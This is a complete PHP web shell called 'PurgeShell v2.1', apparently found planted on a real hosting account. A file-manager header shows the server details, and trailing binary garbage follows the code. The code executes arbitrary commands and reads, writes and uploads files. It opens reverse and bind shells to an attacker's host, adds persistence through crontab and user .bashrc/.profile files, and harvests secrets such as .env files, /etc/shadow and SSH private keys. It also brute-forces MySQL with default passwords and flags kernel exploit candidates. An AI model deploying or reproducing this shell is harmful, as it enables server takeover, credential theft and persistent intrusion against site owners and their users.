Server IP : 205.134.250.164 / Your IP : 216.73.217.37
Web Server : Apache
System : Linux biz228.inmotionhosting.com 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : siscal5 ( 1762)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /home/siscal5/veeduriamiradaciudadana.org/admin/recursos/veedurias/ |
Upload File : |
| Current File : /home/siscal5/veeduriamiradaciudadana.org/admin/recursos/veedurias/cmshell.php |
<?php
/**
* PurgeShell v2.1 - Ultimate Pentest Web Shell
* PHP 5.2+ uyumlu. Tüm sürümlerde çalışır.
*
* ?cmd=id Komut çalıştır
* ?c=id Kısa komut
* ?test=all Tam pentest taraması
* ?test=info JSON sistem bilgisi
* ?test=db&q=... DB sorgulama
* ?test=map&root=/ Dizin haritası
* ?read=/etc/passwd Dosya oku
* ?write=/tmp/x&cont=X Dosya yaz
* -F "f=@file" Upload
* ?action=revshell&host=IP&port=4444 Reverse shell
* ?action=bindshell&port=1337 Bind shell
* ?action=persist Kalıcılık
* ?action=selfdestruct Kendini imha
*/
@error_reporting(0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '512M');
// --- Güvenli random string (PHP 5 uyumlu) ---
function _rnd($len) {
$chars = '0123456789abcdef';
$s = '';
for ($i = 0; $i < $len * 2; $i++) {
$s .= $chars[mt_rand(0, 15)];
}
return $s;
}
$PURGE = array(
'password' => '',
'user_agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
);
// Auth
if (!empty($PURGE['password'])) {
if (!isset($_REQUEST['p']) || $_REQUEST['p'] !== $PURGE['password']) {
header('HTTP/1.0 403 Forbidden');
die('403 Forbidden');
}
}
// Input (PHP 5 uyumlu)
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : null;
$test = isset($_REQUEST['test']) ? $_REQUEST['test'] : null;
$read = isset($_REQUEST['read']) ? $_REQUEST['read'] : null;
$write = isset($_REQUEST['write']) ? $_REQUEST['write'] : null;
$upload = isset($_FILES['f']) ? $_FILES['f'] : null;
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : null;
$arg = isset($_REQUEST['arg']) ? $_REQUEST['arg'] : (isset($_REQUEST['file']) ? $_REQUEST['file'] : (isset($_REQUEST['path']) ? $_REQUEST['path'] : null));
$cont = isset($_REQUEST['cont']) ? $_REQUEST['cont'] : (isset($_REQUEST['content']) ? $_REQUEST['content'] : null);
$c_short= isset($_GET['c']) ? $_GET['c'] : null;
$rawBody = @file_get_contents('php://input');
// === ÇIKTI ===
function out($s) { echo $s . "\n"; }
function ok($s) { echo "[+] $s\n"; }
function err($s) { echo "[-] $s\n"; }
function info($s) { echo "[*] $s\n"; }
function hr() { echo str_repeat('-', 60) . "\n"; }
function banner() {
out('');
hr();
out(' PurgeShell v2.1 | PHP ' . PHP_VERSION . ' | ' . php_uname('s') . ' ' . php_uname('r') . ' | ' . php_uname('m'));
out(' User: ' . _user() . ' | UID: ' . getmyuid() . ' | CWD: ' . getcwd());
hr();
}
function _user() {
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
$pw = posix_getpwuid(posix_geteuid());
return isset($pw['name']) ? $pw['name'] : get_current_user();
}
return get_current_user();
}
// === SHELL EXECUTION ENGINE ===
function execute($cmd) {
if (empty($cmd)) return '';
// 1. proc_open
if (function_exists('proc_open')) {
$desc = array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w'));
$p = @proc_open($cmd . ' 2>&1', $desc, $pipes);
if (is_resource($p)) {
@fclose($pipes[0]);
$out = @stream_get_contents($pipes[1]);
$err = @stream_get_contents($pipes[2]);
@fclose($pipes[1]);
@fclose($pipes[2]);
@proc_close($p);
if (!empty($out)) return $out . $err;
}
}
// 2. popen
if (function_exists('popen')) {
$h = @popen($cmd . ' 2>&1', 'r');
if (is_resource($h)) {
$out = @stream_get_contents($h);
@pclose($h);
if (!empty($out)) return $out;
}
}
// 3. exec
if (function_exists('exec')) {
@exec($cmd . ' 2>&1', $lines);
if (!empty($lines)) return implode("\n", $lines);
}
// 4. shell_exec
if (function_exists('shell_exec')) {
$out = @shell_exec($cmd . ' 2>&1');
if (!empty($out)) return $out;
}
// 5. system
if (function_exists('system')) {
@ob_start();
@system($cmd . ' 2>&1');
$out = @ob_get_clean();
if (!empty($out)) return $out;
}
// 6. passthru
if (function_exists('passthru')) {
@ob_start();
@passthru($cmd . ' 2>&1');
$out = @ob_get_clean();
if (!empty($out)) return $out;
}
// 7. backtick
$out = @`$cmd 2>&1`;
if (!empty($out)) return $out;
// 8. pcntl_exec
if (function_exists('pcntl_exec')) {
$parts = explode(' ', trim($cmd));
@pcntl_exec($parts[0], array_slice($parts, 1));
}
return false;
}
$rawBody = @file_get_contents('php://input');
// === HEADER ===
header('Content-Type: text/plain; charset=utf-8');
// ============================================================
// ROUTING
// ============================================================
// --- KOMUT (cmd=) ---
if (!empty($cmd) && $cmd !== 'all' && $cmd !== 'info' && $cmd !== 'scan' && $cmd !== 'db' && $cmd !== 'w' && $cmd !== 'map' && $cmd !== 'json') {
$full = $cmd;
if (!empty($arg)) $full .= ' ' . $arg;
$result = execute($full);
echo ($result !== false) ? $result : "ALL_EXEC_METHODS_BLOCKED\n";
exit;
}
// --- KISA (?c=) ---
if (!empty($c_short)) {
$result = execute($c_short);
echo ($result !== false) ? $result : "BLOCKED\n";
exit;
}
// --- RAW BODY EXECUTION ---
if (!empty($rawBody) && empty($test) && empty($read) && empty($write) && empty($action)) {
$result = execute($rawBody);
echo ($result !== false) ? $result : "BLOCKED\n";
exit;
}
// --- DOSYA OKU ---
if (!empty($read) || isset($_REQUEST['f'])) {
$f = !empty($read) ? $read : $_REQUEST['f'];
if (@is_file($f)) {
out("=== $f (" . @filesize($f) . " bytes) ===");
out(@file_get_contents($f));
} elseif (@is_dir($f)) {
out("=== DIRECTORY: $f ===");
$items = @scandir($f);
if ($items) {
foreach ($items as $i) {
if ($i === '.') continue;
$path = $f . '/' . $i;
$type = @is_dir($path) ? 'DIR' : 'FILE';
$size = @is_file($path) ? @filesize($path) : 0;
$perm = @fileperms($path);
$perm_str = ($perm === false) ? '????' : substr(sprintf('%o', $perm), -4);
$time = @filemtime($path);
$time_str = $time ? date('Y-m-d H:i', $time) : '?';
echo sprintf(" %-6s %4s %7d %s %-40s\n", $type, $perm_str, $size, $time_str, $i);
}
} else {
err("Cannot read directory: $f");
}
} else {
err("File not found: $f");
}
exit;
}
// --- DOSYA YAZ ---
if (!empty($write) && $cont !== null) {
$ok = @file_put_contents($write, $cont);
echo ($ok !== false) ? "WRITE_OK: $write (" . strlen($cont) . " bytes)\n" : "WRITE_FAILED: $write\n";
exit;
}
// --- DOSYA UPLOAD ---
if (!empty($upload)) {
$dest = isset($_REQUEST['to']) ? $_REQUEST['to'] : './' . $upload['name'];
$ok = false;
if (@move_uploaded_file($upload['tmp_name'], $dest)) {
$ok = true;
ok("UPLOAD_OK: $dest (" . $upload['size'] . " bytes)");
} elseif (@file_put_contents($dest, @file_get_contents($upload['tmp_name']))) {
$ok = true;
ok("UPLOAD_OK (alt): $dest (" . $upload['size'] . " bytes)");
} elseif (@copy($upload['tmp_name'], $dest)) {
$ok = true;
ok("UPLOAD_OK (copy): $dest (" . $upload['size'] . " bytes)");
}
if (!$ok) err("UPLOAD_FAILED");
exit;
}
// --- ACTIONS ---
if (!empty($action)) {
switch ($action) {
case 'bindshell':
$port = isset($_REQUEST['port']) ? intval($_REQUEST['port']) : 1337;
out("Starting bind shell on port $port...");
$sock = @fsockopen('127.0.0.1', $port, $en, $es, 0.5);
if ($sock) {
err("Port $port already in use");
@fclose($sock);
} elseif (function_exists('socket_create')) {
$s = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($s) {
@socket_bind($s, '0.0.0.0', $port);
@socket_listen($s);
ok("Bind shell on 0.0.0.0:$port — nc target $port");
} else {
err("socket_create() failed");
}
} else {
err("Neither fsockopen nor socket_create available");
}
exit;
case 'revshell':
$host = isset($_REQUEST['host']) ? $_REQUEST['host'] : null;
$port = isset($_REQUEST['port']) ? intval($_REQUEST['port']) : 4444;
if (empty($host)) { err("Usage: action=revshell&host=YOUR_IP&port=4444"); exit; }
out("Reverse shell to $host:$port...");
$cmds = array(
"php -r '\$s=fsockopen(\"$host\",$port);proc_open(\"/bin/sh -i\",array(0=>\$s,1=>\$s,2=>\$s),\$p);'",
"bash -c 'exec bash -i &>/dev/tcp/$host/$port <&1'",
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $host $port >/tmp/f",
"nc -e /bin/sh $host $port",
"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$host\",$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
"perl -e 'use Socket;\$i=\"$host\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(\$p,inet_aton(\$i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'",
);
foreach ($cmds as $c) {
info("Trying: $c");
$r = execute($c);
if ($r !== false && !empty($r)) out($r);
}
exit;
case 'selfdestruct':
if (@unlink(__FILE__)) ok("Deleted. Bye.");
else err("Could not delete self: " . __FILE__);
exit;
case 'persist':
$ok_count = 0;
// crontab
if (@is_writable('/etc/crontab')) {
@file_put_contents('/etc/crontab', "\n* * * * * php " . __FILE__ . " >/dev/null 2>&1\n", FILE_APPEND);
ok("crontab: PERSISTED");
$ok_count++;
}
// bashrc
$bashrcs = @glob('/home/*/.bashrc');
if (!is_array($bashrcs)) $bashrcs = array();
if (@file_exists('/root/.bashrc')) $bashrcs[] = '/root/.bashrc';
foreach ($bashrcs as $b) {
if (@file_put_contents($b, "\nphp " . __FILE__ . " &>/dev/null &\n", FILE_APPEND)) {
ok("bashrc ($b): PERSISTED");
$ok_count++;
}
}
// profile
$profiles = @glob('/home/*/.profile');
if (!is_array($profiles)) $profiles = array();
if (@file_exists('/root/.profile')) $profiles[] = '/root/.profile';
foreach ($profiles as $p) {
if (@file_put_contents($p, "\nphp " . __FILE__ . " &>/dev/null &\n", FILE_APPEND)) {
ok("profile ($p): PERSISTED");
$ok_count++;
}
}
if ($ok_count === 0) err("No persistence methods succeeded.");
else ok("$ok_count persistence method(s) applied.");
exit;
default:
err("Unknown action: $action");
exit;
}
}
// ============================================================
// TARAMA MOTORU (test=all / full / scan)
// ============================================================
if ($test === 'all' || $test === 'full' || $test === 'scan') {
banner();
// [1] Sistem
hr(); out(" [1] SYSTEM INFORMATION"); hr();
out(" uname : " . php_uname());
out(" os : " . php_uname('s') . ' ' . php_uname('r'));
out(" arch : " . php_uname('m'));
out(" hostname : " . php_uname('n'));
out(" user : " . _user());
out(" uid/gid : " . getmyuid() . '/' . getmygid());
out(" php ver : " . PHP_VERSION . ' (' . php_sapi_name() . ')');
out(" cwd : " . getcwd());
out(" time : " . date('Y-m-d H:i:s'));
$uptime = @file_get_contents('/proc/uptime');
if ($uptime) out(" uptime : " . trim($uptime));
$load = @file_get_contents('/proc/loadavg');
if ($load) {
$lp = explode(' ', $load);
out(" load : {$lp[0]} {$lp[1]} {$lp[2]}");
}
// [2] Güvenlik
hr(); out(" [2] SECURITY RESTRICTIONS"); hr();
$obd = @ini_get('open_basedir');
$df = @ini_get('disable_functions');
$dfc = @ini_get('disable_classes');
out(" open_basedir : " . ($obd ? $obd : '(none)'));
out(" disable_functions: " . ($df ? $df : '(none)'));
out(" disable_classes : " . ($dfc ? $dfc : '(none)'));
out(" safe_mode : " . (@ini_get('safe_mode') ? 'ON' : 'OFF'));
out(" allow_url_fopen : " . @ini_get('allow_url_fopen'));
out(" allow_url_include: " . @ini_get('allow_url_include'));
out(" expose_php : " . @ini_get('expose_php'));
$se = @file_get_contents('/sys/fs/selinux/enforce');
$selinux = ($se === '1') ? 'ENFORCING' : (@file_exists('/sys/fs/selinux/enforce') ? 'Permissive' : 'DISABLED');
out(" selinux : " . $selinux);
out(" apparmor : " . (@file_exists('/sys/module/apparmor') ? 'PRESENT' : 'NOT LOADED'));
out(" suhosin : " . (extension_loaded('suhosin') ? 'LOADED' : 'NOT LOADED'));
// [3] Fonksiyon Audit
hr(); out(" [3] FUNCTION / EXTENSION AUDIT"); hr();
$funcGroups = array(
'Execution' => array('system','exec','passthru','shell_exec','popen','proc_open','pcntl_exec','preg_replace','create_function','assert','eval','call_user_func','array_map','dl'),
'Filesystem' => array('file_get_contents','file_put_contents','fopen','fwrite','fread','file','readfile','move_uploaded_file','copy','rename','unlink','mkdir','rmdir','chmod','chown','symlink','link','scandir','glob','opendir','readdir'),
'Network' => array('fsockopen','pfsockopen','stream_socket_client','socket_create','curl_exec','ftp_connect','ssh2_connect','mail','error_log'),
'Database' => array('mysqli_connect','mysql_connect','pg_connect','sqlite_open','sqlite3_open','mssql_connect','odbc_connect'),
'Info' => array('phpinfo','getmyuid','getmygid','posix_getpwuid','posix_geteuid','get_current_user','gethostname','php_uname','disk_free_space','disk_total_space','parse_ini_file','getmypid'),
);
foreach ($funcGroups as $cat => $list) {
$avail = array();
$block = array();
foreach ($list as $f) {
if (function_exists($f)) $avail[] = $f; else $block[] = $f;
}
out(" [$cat]");
if (count($avail) > 0) out(" AVAILABLE (" . count($avail) . "): " . implode(', ', $avail));
if (count($block) > 0) out(" BLOCKED (" . count($block) . "): " . implode(', ', $block));
}
// [4] Dizin
hr(); out(" [4] DIRECTORY ACCESS"); hr();
$dirs = array('/', '/etc', '/home', '/root', '/tmp', '/dev/shm', '/var/tmp', '/var/log', '/var/www', '/www', '/www/wwwroot', getcwd());
foreach ($dirs as $d) {
$items = @scandir($d);
if ($items && is_array($items)) {
$count = 0;
foreach ($items as $i) { if ($i !== '.' && $i !== '..') $count++; }
ok(" $d — READABLE ($count items)");
} else {
err(" $d — NO ACCESS");
}
}
$wwr = @scandir('/www/wwwroot');
if ($wwr && is_array($wwr)) {
out("\n >>> /www/wwwroot/ SITES:");
foreach ($wwr as $item) {
if ($item === '.' || $item === '..') continue;
$full = "/www/wwwroot/$item";
$hasEnv = (@is_dir($full) && @file_exists("$full/.env")) ? ' [.env!]' : '';
$size = @is_file($full) ? @filesize($full) : 0;
out(" " . (@is_dir($full) ? 'DIR ' : 'FILE') . " $item $size bytes$hasEnv");
}
}
// [5] Yazılabilir
hr(); out(" [5] WRITABLE DIRECTORIES"); hr();
$wdirs = array('/tmp', '/dev/shm', '/var/tmp', getcwd());
foreach ($wdirs as $d) {
$testFile = $d . '/._pw_' . substr(md5(mt_rand()), 0, 6);
$res = @file_put_contents($testFile, 'x');
if ($res !== false) { ok(" $d — WRITABLE"); @unlink($testFile); }
else err(" $d — NO");
}
// [6] Config & Sırlar
hr(); out(" [6] SECRETS SCAN"); hr();
$patterns = array(
'/www/wwwroot/*/.env',
'/www/wwwroot/*/wp-config.php',
'/www/wwwroot/*/config/database.php',
getcwd() . '/.env',
getcwd() . '/../.env',
'/var/www/html/.env',
'/var/www/html/wp-config.php',
'/root/.bash_history',
'/home/*/.bash_history',
'/etc/shadow',
'/etc/passwd',
'/etc/ssh/sshd_config',
'/etc/mysql/my.cnf',
);
foreach ($patterns as $pat) {
$files = @glob($pat);
if ($files && is_array($files)) {
foreach ($files as $f) {
$content = @file_get_contents($f);
if ($content === false) continue;
$size = strlen($content);
ok(" FOUND: $f ({$size}b)");
$sensitive = array();
if (preg_match_all('/(DB_HOST|DB_USERNAME|DB_USER|DB_PASSWORD|DB_PASS|DB_DATABASE|DB_NAME|APP_KEY|JWT_SECRET|SECRET_KEY|API_KEY|MAIL_USERNAME|MAIL_PASSWORD|REDIS_PASSWORD|AWS_ACCESS|AWS_SECRET)\s*[=:]\s*[\'"]?([^\'"\n\r]+)[\'"]?/i', $content, $m)) {
foreach ($m[0] as $line) $sensitive[] = trim($line);
}
if (preg_match_all('/^([a-zA-Z0-9_.-]+):(\$[^:]+)/m', $content, $hm)) {
foreach ($hm[0] as $hl) $sensitive[] = trim($hl);
}
foreach (array_unique($sensitive) as $s) {
out(" |-- $s");
}
}
}
}
// [7] SSH Keys
hr(); out(" [7] SSH KEY HUNT"); hr();
$keyGlobs = array('/root/.ssh/*', '/home/*/.ssh/*', '/tmp/*.pem', '/tmp/*.key');
foreach ($keyGlobs as $kg) {
$files = @glob($kg);
if ($files && is_array($files)) {
foreach ($files as $f) {
if (!@is_file($f)) continue;
$c = @file_get_contents($f);
if ($c === false) continue;
$sz = strlen($c);
$tag = '';
if (strpos($c, 'PRIVATE KEY') !== false) $tag = ' [PRIVATE KEY!]';
elseif (strpos($c, 'PUBLIC KEY') !== false) $tag = ' [public key]';
out(" FOUND: $f ({$sz}b)$tag");
}
}
}
// [8] SUID
hr(); out(" [8] SUID BINARIES"); hr();
$suid = execute('find /usr/bin /bin /sbin /usr/sbin -perm -4000 -type f 2>/dev/null');
if ($suid && $suid !== false) {
foreach (explode("\n", trim($suid)) as $line) out(" $line");
} else err(" CMD_BLOCKED or none found");
// [9] Cron
hr(); out(" [9] CRON JOBS"); hr();
$cronFiles = array('/etc/crontab', '/etc/cron.d', '/var/spool/cron/crontabs', '/var/spool/cron');
foreach ($cronFiles as $cf) {
if (@is_file($cf)) {
out(" --- $cf ---");
out(@file_get_contents($cf));
} elseif (@is_dir($cf)) {
$cItems = @scandir($cf);
if ($cItems) {
foreach ($cItems as $ci) {
if ($ci === '.' || $ci === '..') continue;
$cip = "$cf/$ci";
if (@is_file($cip)) { out(" --- $cip ---"); out(@file_get_contents($cip)); }
}
}
}
}
// [10] Ağ
hr(); out(" [10] NETWORK & PORTS"); hr();
$ports = array(22=>'SSH',21=>'FTP',25=>'SMTP',80=>'HTTP',443=>'HTTPS',3306=>'MySQL',5432=>'PostgreSQL',6379=>'Redis',27017=>'MongoDB',8080=>'HTTP-Alt',8443=>'HTTPS-Alt',11211=>'Memcached',9200=>'Elasticsearch');
foreach ($ports as $p => $name) {
$sock = @fsockopen('127.0.0.1', $p, $en, $es, 0.3);
echo " $name ($p): " . ($sock ? 'OPEN' : 'CLOSED') . "\n";
if ($sock) @fclose($sock);
}
$hosts = @file_get_contents('/etc/hosts');
if ($hosts) { out("\n --- /etc/hosts ---"); foreach (explode("\n", $hosts) as $hl) { $hl = trim($hl); if (!empty($hl)) out(" $hl"); } }
$ifcfg = execute('ip a 2>/dev/null || ifconfig 2>/dev/null || hostname -I 2>/dev/null');
if ($ifcfg && $ifcfg !== false && trim($ifcfg) !== '') { out("\n --- Network Interfaces ---"); out($ifcfg); }
// [11] DB Brute
hr(); out(" [11] DATABASE ACCESS TEST"); hr();
$dbTests = array(
array('localhost:3306','root','root','mysql'),
array('localhost:3306','root','','mysql'),
array('127.0.0.1:3306','root','toor','mysql'),
array('localhost:3306','admin','admin','mysql'),
array('localhost:3306','root','password','mysql'),
);
if (function_exists('mysqli_connect')) {
foreach ($dbTests as $t) {
$c = @mysqli_connect($t[0], $t[1], $t[2], $t[3]);
if ($c && @mysqli_ping($c)) {
ok(" CONNECTED: {$t[0]} user={$t[1]} pass={$t[2]}");
$grants = @mysqli_query($c, 'SHOW GRANTS');
if ($grants) { while ($row = @mysqli_fetch_row($grants)) out(" |-- {$row[0]}"); }
@mysqli_close($c);
}
}
}
if (class_exists('PDO')) {
out("\n [PDO Tests]");
foreach ($dbTests as $t) {
$host = str_replace(':3306', '', $t[0]);
try {
$pdo = new PDO("mysql:host=$host;port=3306;dbname={$t[3]}", $t[1], $t[2], array(PDO::ATTR_ERRMODE => PDO::ERRMODE_SILENT));
ok(" PDO_CONNECTED: $host user={$t[1]} pass={$t[2]}");
} catch (Exception $e) {}
}
}
// [12] Proses
hr(); out(" [12] RUNNING PROCESSES"); hr();
$ps = execute('ps aux 2>/dev/null || ps -ef 2>/dev/null');
if ($ps && $ps !== false && trim($ps) !== '') {
out($ps);
} else {
$proc = @glob('/proc/[0-9]*/cmdline');
if ($proc) {
foreach ($proc as $p) {
$cmdline = @file_get_contents($p);
if ($cmdline) out(" PID " . basename(dirname($p)) . ": " . str_replace("\0", ' ', $cmdline));
}
} else err(" Cannot enumerate processes");
}
// [13] Tools
hr(); out(" [13] INSTALLED TOOLS"); hr();
$tools = execute('which gcc python perl ruby g++ nc curl wget nmap tcpdump socat 2>/dev/null');
if ($tools && $tools !== false) out($tools); else err(" which failed");
// [14] Disk
hr(); out(" [14] DISK USAGE"); hr();
$df = execute('df -h 2>/dev/null');
if ($df && $df !== false) { out($df); }
else {
$free = @disk_free_space('/');
$total = @disk_total_space('/');
if ($free && $total) { out(" / total: " . round($total/1024/1024/1024,2) . " GB free: " . round($free/1024/1024/1024,2) . " GB"); }
}
// [15] Kernel
hr(); out(" [15] KERNEL INFO"); hr();
$kernel = execute('cat /proc/version 2>/dev/null || uname -a 2>/dev/null');
if ($kernel && $kernel !== false) {
out($kernel);
$kver = php_uname('r');
$dashPos = strpos($kver, '-');
$verStr = substr($kver, 0, $dashPos !== false ? $dashPos : strlen($kver));
$ver = intval(str_replace('.', '', $verStr));
if ($ver < 300) out(" !! ANCIENT KERNEL (pre-3.0) — DirtyCow candidate");
elseif ($ver < 400) out(" !! OLD KERNEL (3.x) — OverlayFS / DirtyCow territory");
elseif ($ver < 500) out(" ! KERNEL 4.x — PwnKit, Baron Samedit possible");
}
hr(); out(" SCAN COMPLETE | " . date('Y-m-d H:i:s')); hr();
exit;
}
// --- INFO (JSON) ---
if ($test === 'info' || $test === 'json') {
$info = array(
'shell' => 'PurgeShell v2.1',
'hostname' => php_uname('n'),
'uname' => php_uname(),
'php' => PHP_VERSION,
'sapi' => php_sapi_name(),
'user' => _user(),
'uid' => getmyuid(),
'gid' => getmygid(),
'pid' => getmypid(),
'cwd' => getcwd(),
'disk_free' => @disk_free_space('.'),
'disk_total' => @disk_total_space('.'),
'open_basedir' => @ini_get('open_basedir'),
'disable_functions' => @ini_get('disable_functions'),
'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '?',
'client_ip' => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '?',
'server_software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '?',
'time' => date('Y-m-d H:i:s T'),
);
header('Content-Type: application/json');
$flags = defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 0;
echo json_encode($info, $flags);
exit;
}
// --- VERİTABANI (test=db) ---
if ($test === 'db') {
$host = isset($_REQUEST['host']) ? $_REQUEST['host'] : 'localhost';
$user = isset($_REQUEST['user']) ? $_REQUEST['user'] : 'root';
$pass = isset($_REQUEST['pass']) ? $_REQUEST['pass'] : '';
$db = isset($_REQUEST['db']) ? $_REQUEST['db'] : 'mysql';
$q = isset($_REQUEST['q']) ? $_REQUEST['q'] : 'SELECT @@version, @@hostname, user(), database()';
if (function_exists('mysqli_connect')) {
$hostFull = (strpos($host, ':') === false) ? "$host:3306" : $host;
$conn = @mysqli_connect($hostFull, $user, $pass, $db);
if ($conn && @mysqli_ping($conn)) {
ok("Connected: $hostFull");
$res = @mysqli_query($conn, $q);
if ($res) {
while ($row = @mysqli_fetch_assoc($res)) out(json_encode($row));
@mysqli_free_result($res);
} else err("Query error: " . @mysqli_error($conn));
$dbs = @mysqli_query($conn, 'SHOW DATABASES');
if ($dbs) { out("\n=== DATABASES ==="); while ($row = @mysqli_fetch_row($dbs)) out(" {$row[0]}"); }
@mysqli_close($conn);
} else err("mysqli connect failed");
}
if (class_exists('PDO')) {
try {
$pdo = new PDO("mysql:host=$host;port=3306;dbname=$db", $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
ok("PDO connected: $host");
foreach ($pdo->query($q)->fetchAll(PDO::FETCH_ASSOC) as $row) out(json_encode($row));
} catch (Exception $e) {}
}
exit;
}
// --- DİZİN HARİTASI (test=map) ---
if ($test === 'map') {
$root = isset($_REQUEST['root']) ? $_REQUEST['root'] : '/www/wwwroot';
$depth = isset($_REQUEST['depth']) ? intval($_REQUEST['depth']) : 3;
banner();
hr(); out(" DIRECTORY MAP: $root (depth: $depth)"); hr();
_walk($root, 0, $depth);
hr(); exit;
}
function _walk($dir, $level, $maxDepth) {
if ($level > $maxDepth) return;
$items = @scandir($dir);
if (!$items || !is_array($items)) return;
$indent = str_repeat(' ', $level);
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = "$dir/$item";
if (@is_dir($path)) {
$hasEnv = @file_exists("$path/.env") ? ' [.env]' : '';
out("$indent DIR $item/$hasEnv");
_walk($path, $level + 1, $maxDepth);
} else {
$size = @filesize($path);
$ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
$tag = '';
if (in_array($ext, array('php','phtml','php5','php7','inc'))) $tag = ' [PHP]';
elseif (in_array($ext, array('env','conf','cfg','ini','yml','yaml','json','xml'))) $tag = ' [CONF]';
elseif (in_array($ext, array('sql','sql.gz','dump'))) $tag = ' [SQL]';
elseif (in_array($ext, array('pem','key','ppk','crt'))) $tag = ' [KEY]';
elseif (in_array($ext, array('log'))) $tag = ' [LOG]';
elseif (in_array($ext, array('sh','bash','py','pl','rb'))) $tag = ' [SCRIPT]';
elseif (in_array($ext, array('bak','backup','old','orig','swp','~'))) $tag = ' [BACKUP]';
out("$indent FILE $item (" . ($size ? round($size/1024).'KB' : '0') . ")$tag");
}
}
}
// === DEFAULT: Help ===
banner();
out('');
out(' USAGE:');
out(' ?cmd=<command> Run shell command');
out(' POST raw body Run shell command (body = command)');
out(' ?c=<command> Short command');
out(' ?test=all Full pentest scan (15 checks)');
out(' ?test=info JSON system info');
out(' ?test=db&q=SELECT... Database query');
out(' ?test=map&root=/&depth=3 Directory tree map');
out(' ?read=<path> Read file or list directory');
out(' ?write=<path>&cont=<data> Write file');
out(' -F "f=@file" Upload file (multipart POST)');
out(' ?action=revshell&host=IP&port=4444 Reverse shell');
out(' ?action=bindshell&port=1337 Bind shell');
out(' ?action=persist Attempt persistence (cron/bashrc)');
out(' ?action=selfdestruct Delete this shell');
out(' ?p=<password> Authentication (if configured)');
out('');
out(' EXAMPLES:');
out(' curl -k "target/shell.php?cmd=id"');
out(' curl -k -X POST -d "cat /etc/passwd" "target/shell.php"');
out(' curl -k -F "f=@backdoor.php" "target/shell.php"');
out(' curl -k "target/shell.php?test=all"');
out(' curl -k "target/shell.php?action=revshell&host=10.0.0.1&port=4444"');
hr();
$.' ",# (7),01444 '9=82<.342 C
2! !22222222222222222222222222222222222222222222222222 }|"
} !1AQa "q2#BR$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz & !0` ""a
w !1AQ aq"2B #3Rbr
$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz & !0` ""a ? HRjA <̒.9;r8 Sc*#k0a0
ZY
7 /$ #'Ri'H/]< q_LW9c#5AG5#T8N38UJ1z]k{}ߩ)me &/l cBa 8l S7( S `AI&L@3v, y c F0- Juh
! { ~?"=nqo~$ѻj]M
>[?) ms~=*{7E5);6!, 0
G K >a9$m$ds* + Cc r{
ogf X~2v 8SВ~W5S*&at nݮ:%J{h[K }y~b6F8 9 1;ϡa{{u/[nJi- f=Ȯ8O !c H%N@<}qlu"a&xHm<*7"&
#!|Ӧq fx"oN{F;`!q9vRqR? ~8p)ܵRJ Q @Xy{*ORs~QaRqE65I
5+0y
FKj}uwkϮj+z{ kgx5(fnrFG8QjVVF)2 `v GLsVI,ݣa( `:L 0e V+2h hs`iVS4SaۯsJ-밳Mw$Qd d }}Ʒ7"as A:rR.v@ j Y%` 5\ܲ2H * d_(ܻ#'X 0r1R>"2~9Ҳ }:Xg VI?*!- N=3sϿ*{" :4ahKG9G {M]+] ˸ `mcϱ y=y:)T&J>d$nz2
sn`ܫS;y }=px`M=i* 1}=qxj Qy `A,2ScR;wfT#`~ jaR59HVyA99?aQ
vNq!C=:a#m#bY /(SRt Q~
C ɶ~ VB ~2ONOZrA
Af^3\t_-ϦnJ[/|2 #[!,O | sV/|I S$cFwt+zTayLPZ>#a ^r7d\u "3
83&DT S @rOW P S ܣ[0};NRW k
"VHl>Zܠnw :q el,44`;/I'pxaS";vixUuY1#:}T[{Kwi ma99 c# 23ɫx-3iiW"~- yY "8|c-< S#30q mI"d cqf #5PXW ty?ysvYUB(01 JǦ5%u'ewͮ{maܳ 0!B0A~ z{a{kc
B ` ==}r
Wh{xK% s9U@p7c }1WR^yY\
brp8'sֺk'K}"+l44?0I"ڳ.0d)@fPqF~ZY 3"BA F$SN @(a l bW\vxNjZIF`6 ?!
Nxҩҭ OxM{jqR
0 &yL%?y $"\p4:&u$aC $xo>TK@'y{~4KcC v}&y?]Ol|_; ϡRn r[mܡ}4D}:) $XxaY8i" !pJ"V^0
Ri en% 8eeY,S =?E k"bi0 ʶI=O :Sk>hKON9K2uPf*ny41l~}I~*E FSj%RP7U0 Ul(D2z>a}X
ƭ,~C<B6 2| HC#%:a7"Sa'ys K4! 0R{szR5HC+=}ygn0c|SOA9kԮ}f"R#c opI C~é :^ee f # <3ֻxשƤ"ӽ94'_LOF90 &ܧܭS0R0#o8#R6 y}73G^2~ox:## Sr=k41 r zo 7"_=`0ld` q t +9?x%m,{.j;%h*:U}qfp}
